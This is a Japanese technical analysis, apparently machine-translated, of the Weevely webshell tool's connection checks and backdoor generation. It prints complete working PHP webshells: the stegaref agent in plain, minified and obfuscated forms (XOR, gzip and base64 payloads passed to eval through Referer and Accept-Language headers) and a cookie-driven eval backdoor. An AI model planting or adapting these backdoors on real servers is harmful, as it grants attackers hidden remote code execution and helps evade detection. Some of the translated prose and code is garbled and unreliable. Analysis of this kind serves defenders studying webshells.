Weevely使用及びソース分析(三)


1 weevely検証メカニズム分析
1.1 ソース分析
生成されたphpファイルがstegarefである場合php.tplファイルがテンプレートである場合、接続時のコマンドラインに任意の運命を入力するとphpをトリガーすることができる.pyファイルの_check_interpreter()関数,check_interpreter()関数の主な機能は、コマンドをランダムに生成することであり、「echo」は11111から999999サイズのランダム整数をランダムに生成し、channelsフォルダの下のchannelをそれぞれ呼び出す.pyファイルの「send()」関数をsend()関数でpayloadをlegacycookieにそれぞれ送信.py,legacyreferrer.pyとstegaref.py 3つのPythonファイルの「send()」関数は、Response,code,errorの値、 response, code, error = channel.send(command)を同時に返し、返されたResponseと構造のechoの乱数が等しいか否かによってPHP shellが直接動作するか否かを判断し、接続が成功したか否かを判断する.
1.2 PHP(stegaref_php.tplテンプレート)バックドアファイル分析
まず、コマンド:weevely generate hello /var/www/html/testformd.phpを使用して木馬ファイルを生成すると、generate()関数が呼び出されて木馬が生成されます.
  • generate()関数はweevely 3-master/core/generate.pyファイルでは、関数のプロトタイプは def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):です.passwordはユーザーが指定したパスワードです.obfuscatorは使用するwebshellファジイ変換テンプレートです.agentはwebshellのテンプレートです.後の2つのパラメータは自分で定義できます.ユーザーは自分でカスタムテンプレートを作成してweevely 3-master/bd/obfuscator/とweevely 3-master/bd/agent/ディレクトリの下に入れることができます.次に、コマンドでカスタムテンプレートを指定します.
  • agent = Template(open(agent_path,'r').read()).render(password=password) render agentテンプレートファイルを使用して、元のwebshellを取得します.webshellソースコードはpycharm debugを介して生成され、生成されたソースコードは:
  • である.
     $kh="5d41";
            $kf="402a";
    
            function x($t,$k){
                $c=strlen($k);
                $l=strlen($t);
                $o="";
                for($i=0;$i<$l;){
                    for($j=0;($j<$c&&$i<$l);$j++,$i++)
                    {
                        $o.=$t{$i}^$k{$j};
                    }
                }
                return $o;
            }
    
            $r=$_SERVER;
            $rr=@$r["HTTP_REFERER"];
            $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
    
            if($rr&&$ra){
                $u=parse_url($rr);
                parse_str($u["query"],$q);
                $q=array_values($q);
                preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    
                if($q&&$m){
                    @session_start();
    
                    $s=&$_SESSION;
                    $ss="substr";
                    $sl="strtolower";
    
                    $i=$m[1][0].$m[1][1];
                    $h=$sl($ss(md5($i.$kh),0,3));
                    $f=$sl($ss(md5($i.$kf),0,3));
    
                    $p="";
                    for($z=1;$z$m[1]);$z++) $p.=$q[$m[2][$z]];
    
                    if(strpos($p,$h)===0){
                        $s[$i]="";
                        $p=$ss($p,3);
                    }
    
                    if(array_key_exists($i,$s)){
    
                        $s[$i].=$p;
    
                        $e=strpos($s[$i],$f);
                        if($e){
                            $k=$kh.$kf;
                            ob_start();
                            @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                            $o=ob_get_contents();
                            ob_end_clean();
                            $d=base64_encode(x(gzcompress($o),$k));
                            print("<$k>$d$k>");
                            @session_destroy();
                        }
                    }
                }
            }
  • minified_agent = utils.code.minify_php(agent)オリジナルのwebshellを「浄化」操作し、奥の「t」などの特殊文字を除去します.処理済みのソースコードは、
  • です.
    $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z$m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d$k>");@session_destroy();}}}}
  • obfuscated = obfuscator_template.render(agent=agent)これは最も核心的なコードであり、obfuscatorテンプレートを用いてwebshellに対して「ぼかし処理」を行い、検出されやすい特徴を除去する.ファジイ処理済みファイルのソースコードは、
  • です.
    $s='d5($R$i.$$Rkh),0,3));$R$f=$sl$R($ss(m$Rd5$R($i.$kf),0,3$R));$p$R$R="";for($R$z=1;$R$z<count($R$m[1]);$z$R++)$p.=$R$q[$m[$R';
            $H='$Rses$Rsion_st$Rart();$s=&$_SES$RSION;$ss="$Rsub$Rs$Rtr";$sl="str$Rtolower$R";$i$R=$m[1$R][0]$R.$m[1][1];$R$h=$R$sl($ss($Rm';
            $u='g_replac$Re(arr$Ray$R("/_/","/$R-/"),arr$Ray$R("/","+"$R),$$Rss($s[$i],0$R,$e)$R))$R,$k)));$$Ro=ob_$Rget_$Rcontents($R);ob_';
            $V='$kh="$R5d41";$R$kf="402$Ra$R$R";function x($t,$$Rk){$c=st$Rr$Rlen($k);$l=st$Rrlen$R($t)$R;$o="";for$R($$Ri=0;$i<$$Rl;){$Rfor';
            $E=';$R$q=a$Rrray_valu$Res($q);$Rpr$Reg_match$R_all("/($R[\\w])[$R\\w-]+(?:;$Rq=0$R.([\\d$R]))?$R,?/",$ra$R,$m);if($$Rq$R&&$m)$R{@';
    		$c='($j=$R0;($j<$R$c&&$R$$Ri<$R$l);$j++$R,$$Ri++){$o.=$t{$i$R}^$k{$j}$R;}}return$R $R$o$R;}$r=$_SERVER;$$Rrr=@$r[$R"HT$RTP_REFER';
            $F='R$$Re=$Rstr$Rpos($s[$i],$f);if($R$e){$k=$k$Rh$R.$kf;ob_$Rsta$Rrt()$R;@ev$Ral(@gzuncom$Rpress(@x($R@bas$Re64_$Rdecode(pr$Re';
            $P='$RER"];$$Rra=@$r["H$RTTP_AC$RCE$RPT_LA$RNGUAGE$R"];if($r$Rr&&$ra){$R$u=pars$Re$R_ur$Rl($rr);par$Rs$Re_str($$Ru["query"]$R,$q)';
    		$R='end_c$Rlean$R();$d=$Rbase$R64_en$Rcode(x(gzc$Rompress$R$R($o)$R,$k));pri$Rnt($R"<$R$$Rk>$R$d$k>");@sessi$Ron_destroy();}}}}';
    		$f='2][$R$z$R]];if(s$Rtrpos($p$R,$R$h)===0){$s[$i$R]="";$$Rp=$R$ss($p,3)$R;}if(arr$R$Ray_$Rkey_exists($i,$R$s$R)){$s[$i$R].=$p;$';
            $U=str_replace('iV','','creiViVaiViVte_funciVtiiVon');
            $X=str_replace('$R','',$V.$c.$P.$E.$H.$s.$f.$F.$u.$R);
            $O=$U('',$X);$O();
            ?>
  • は、最もフォーマットがあり、ファジイ処理されていないphpファイルをソースコードで読み出すことで、ファイルに「kh=5 d 41」と「kh=5 d 41」と「kf=402 a」の2つのパラメータが存在することがわかります.この2つのパラメータは、ファイルを生成する際の定義されたパスワードがmd 5で暗号化された上位8桁で、2つのパラメータに分けて格納されています.$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];サーバからhttpプロトコル要求ヘッダのREFERERデータとACCEPT_を取り出すLANGUAGEデータは、その後、正規表現preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/",$ra,$m);によってACCEPT_に一致するLANGUAGEの配列オフセット.$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));は、本当に有用なpayloadのheaderとfooterを求める.
  • @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));

    この関数はpayloadを復号し,真の攻撃を得るための荷重コマンドである.$d=base64_encode(x(gzcompress($o),$k));実行結果を同じ方法で暗号化し、自分の暗号化後のラベルにprint("$d$k>");を入れる
    1.3 PHP(legacycookie_php.tplテンプレート)バックドアファイル分析
      weevely 3でデフォルトで生成されたファイルはstegaref_php.tplはテンプレートとobfusc 1_php.tplはテンプレートを混同してバックドアファイルの生成を行う.いいわよpyファイルでこの2つのパラメータを変更してlegacycookie_に変更します.php.tplはテンプレートとcleartext 1_php.tplは、混同テンプレートのためにphpファイルを生成します.ソースコードを直接追跡デバッグ1.agent = Template(open(agent_path,'r').read()).render(password=password) render agentテンプレートファイルを使用して、元のwebshellを取得します.Webshellソースコードpycharm debugから初期phpコードは:
        u'$c="count";
            $a=$_COOKIE;
            if(reset($a)=="he" && $c($a)>3){
            $k="llo";
            echo "";
            eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"), array("","+"), join(array_slice($a,$c($a)-3)))));
            echo "$k>";
            }
            '

     2. 「minified_agent=utils.code.minify_php(agent)」は、元のwebshellを「浄化」し、中を取り除く「t」などの特殊文字です.処理されたソースコードは次のとおりです.
    '$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"$k>";}'

     3. 「obfuscated=obfuscator_template.render(agent=agent)」これは最も核心的なコードで、obfuscatorテンプレートを使用してwebshellを「ぼかし処理」し、検出しやすい特徴を除去します.生成されたソースコードは
    u'
            $c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"$k>";}
            ?>'

     4.phpソースコードの読み取りでlegacycookie_がわかりますphp.tplテンプレートの実行結果は$k>ラベルに格納され、ラベルの実行結果は正規表現で一致し、base 64復号化されて得られる.
    1.4接続が成功したことを確認する
  • は、_check_interpreter()の関数によりランダム印刷文字のpayloadを構築する、channelを呼び出す.pyファイルのsend()関数のコードresponse = self.channel_loaded.send(
    payload,
    self._additional_handlers()
    )
    は、3つのpayload暗号化方式にpayloadをそれぞれ送信する.レスポンスを表示するResponse_を順に実行します.bodyの値が構造payloadで印刷したい値と等しいか否かで接続が成功したか否かを判断する.
  • 最初のpayloadはstegarefに送信.pyのsend()関数では,payloadはユーザが入力した接続パスワードを介して暗号化され,request要求ヘッダhttpプロトコルを構築しphpバックドアファイルを実行し,phpファイルに生成されたファイルのパスワードを介して解読してpayloadを実行し,対応するResponseを得る.response = opener.open(url).read()は、応答体の値を得る.判断:1. 応答体が空で、接続パスワードで生成されたpayloadと実際のパスワードで復号されたpayloadが一致せず、検証に失敗したことを示します.2.応答体が空ではなく、検証に成功しました.
  • 最初の検証に失敗し、2回目の検証を行うとpayloadはlegacycookieに送信.pyのsend()関数では,第2のpayloadの暗号化方式は主にbase 64符号化暗号化であり,暗号化後のpayloadに特殊な文字を加えて混同する.したがって、第2の暗号化方式ではphpファイルのパスワードを復号する必要はなく、payloadはphpファイルでbase 64解凍実行を行い、実行結果はResponse_bodyではパスワードの3番目から末尾までの文字列ラベルで包装されています.応答体は、同じコードresponse = opener.open(url).read()によって得られる.判断:1. 応答体が空の場合、phpファイルが実行されていないことを示すため、url接続エラーの可能性があります.2. 応答体は空ではなく、正規表現
  • によって
    self.extractor = re.compile("(.*)%s>" % (self.password[2:],self.password[2:]),re.DOTALL)

    コードdata = self.extractor.findall(response)と照合するパスワードの3番目のビットから末尾と応答体のラベルが一致しているかどうか、一致している場合は接続パスワードが正しく検証され、一致していない場合は接続パスワードのエラー検証が成功しないことを示します.4.前の2回とも失敗した場合、第3のpayload暗号化方式を呼び出し、legacyreferrer.pyファイルのsend()関数はpayloadを送信し,第3のpayload暗号化方式はreferヘッダを構築する
    referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % (self.password[:2],urllib2.quote(self.url),self.query.strip(),payload[:third],payload[ third:thirds],payload[thirds:])

    しかしpayloadの暗号化方式は依然としてbase 64符号化暗号化であるため、暗号が正しいかどうかの検証メカニズムは第2のものと同じである.